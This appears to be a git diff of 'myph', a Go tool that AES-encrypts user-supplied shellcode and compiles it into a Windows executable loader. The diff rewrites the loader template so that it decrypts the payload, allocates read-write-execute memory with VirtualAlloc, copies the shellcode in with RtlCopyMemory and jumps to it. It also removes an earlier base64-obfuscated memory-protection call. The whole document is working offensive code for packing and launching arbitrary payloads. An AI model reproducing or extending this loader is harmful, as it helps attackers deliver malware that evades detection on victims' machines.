diff --git a/cli/defaults.go b/cli/defaults.go
@@ -9,12 +9,13 @@ func GetDefaultCLIOptions() Options {
opts := Options{
ShellcodePath: "",
AesKey: RandBytes(32),
- Outfile: "myph-out",
+ Outfile: "myph-out.exe",
}
return opts
}
+// Generate a random list of bytes
func RandBytes(length int) []byte {
b := make([]byte, length)
rand.Read(b)
diff --git a/cli/parser.go b/cli/parser.go
@@ -21,7 +21,7 @@ func GetParser(opts *Options) *cobra.Command {
Run: func(cmd *cobra.Command, args []string) {
if opts.ShellcodePath == "" {
- fmt.Println("[!] Please specify your shellcode's path with -s")
+ fmt.Println("[!] Please specify your shellcode's path with --shellcode")
os.Exit(1)
}
@@ -30,6 +30,7 @@ func GetParser(opts *Options) *cobra.Command {
os.Exit(1)
}
+ fmt.Println("[+] Successfully read shellcode")
payload := loader.Encrypt(opts.AesKey, plaintext_payload)
s := loader.Shellcode{
Payload: payload,
@@ -37,15 +38,18 @@ func GetParser(opts *Options) *cobra.Command {
AesKey: []byte(opts.AesKey),
}
+ fmt.Println("[+] Encrypted shellcode with AES key")
toCompile := loader.LoadWindowsTemplate(s)
err = loader.WriteToTempfile(toCompile); if err != nil {
fmt.Printf("Write error: %s\n", err.Error())
os.Exit(1)
}
- os.Setenv("GOOS", "windows")
+ fmt.Println("[+] loaded Windows template")
/* run compilation */
+ os.Setenv("GOOS", "windows")
+ os.Setenv("GOARCH", "386")
err = exec.Command(
"go",
"build",
@@ -58,8 +62,7 @@ func GetParser(opts *Options) *cobra.Command {
println("[!] Compile error: " + err.Error())
return
}
-
- os.Remove("tmp.go")
+ fmt.Println("[+] Successfully compiled shellcode")
},
}
diff --git a/loader/aes.go b/loader/aes.go
@@ -16,16 +16,3 @@ func Encrypt(key []byte, plaintext []byte) []byte {
c.Encrypt(out, plaintext)
return out
}
-
-func DecryptAES(key []byte, payload []byte) string {
-
- c, err := aes.NewCipher(key); if err != nil {
- fmt.Printf("[!] cipher gen: %s\n", err.Error())
- os.Exit(1)
- }
-
- plaintext := make([]byte, len(payload))
- c.Decrypt(plaintext, payload)
- s := string(plaintext[:])
- return s
-}
diff --git a/loader/windows.go b/loader/windows.go
@@ -15,11 +15,25 @@ package main
import (
"crypto/aes"
- "encoding/base64"
"encoding/hex"
"os"
- "unsafe"
+ "unsafe"
"syscall"
+ "fmt"
+)
+
+const (
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_EXECUTE_READWRITE = 0x40
+)
+
+var (
+ kernel32 = syscall.MustLoadDLL("kernel32.dll")
+ ntdll = syscall.MustLoadDLL("ntdll.dll")
+
+ VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
+ RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func decrypt(key string, payload string) []byte {
@@ -39,28 +53,33 @@ func decrypt(key string, payload string) []byte {
func main() {
/* decrypt shellcode using AES */
payload := decrypt("%s", "%s")
- ntdll, _ := base64.StdEncoding.DecodeString("bnRkbGw=")
- zwprotectMemory, _ := base64.StdEncoding.DecodeString("WndQcm90ZWN0VmlydHVhbE1lbW9yeQ==")
-
- var hProcess uintptr = 0
- var pBaseAddr = uintptr(unsafe.Pointer(&payload[0]))
- var dwBufferLen = uint(len(payload))
- var dwOldPerm uint32
-
- /* prepare syscall in memory */
- syscall.NewLazyDLL(string(ntdll)).NewProc(string(zwprotectMemory)).Call(
- hProcess - 1,
- uintptr(unsafe.Pointer(&pBaseAddr)),
- uintptr(unsafe.Pointer(&dwBufferLen)),
- 0x20, /* PAGE_EXEC_READ */
- uintptr(unsafe.Pointer(&dwOldPerm)),
+
+ fmt.Println(payload)
+
+ addr, _, err := VirtualAlloc.Call(
+ 0,
+ uintptr(len(payload)),
+ MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
)
- /* run syscall */
- syscall.Syscall(
- uintptr(unsafe.Pointer(&payload[0])),
- 0, 0, 0, 0,
+ if err != nil && err.Error() != "The operation completed successfully." {
+ syscall.Exit(0)
+ }
+
+ _, _, err = RtlCopyMemory.Call(
+ addr,
+ (uintptr)(unsafe.Pointer(&payload[0])),
+ uintptr(len(payload)),
)
+
+ if err != nil && err.Error() != "The operation completed successfully." {
+ fmt.Println(err.Error())
+ syscall.Exit(0)
+ }
+
+ // jump to shellcode
+ syscall.Syscall(addr, 0, 0, 0, 0)
+
}
`, hexKey, hexShellcode)
}
| | | |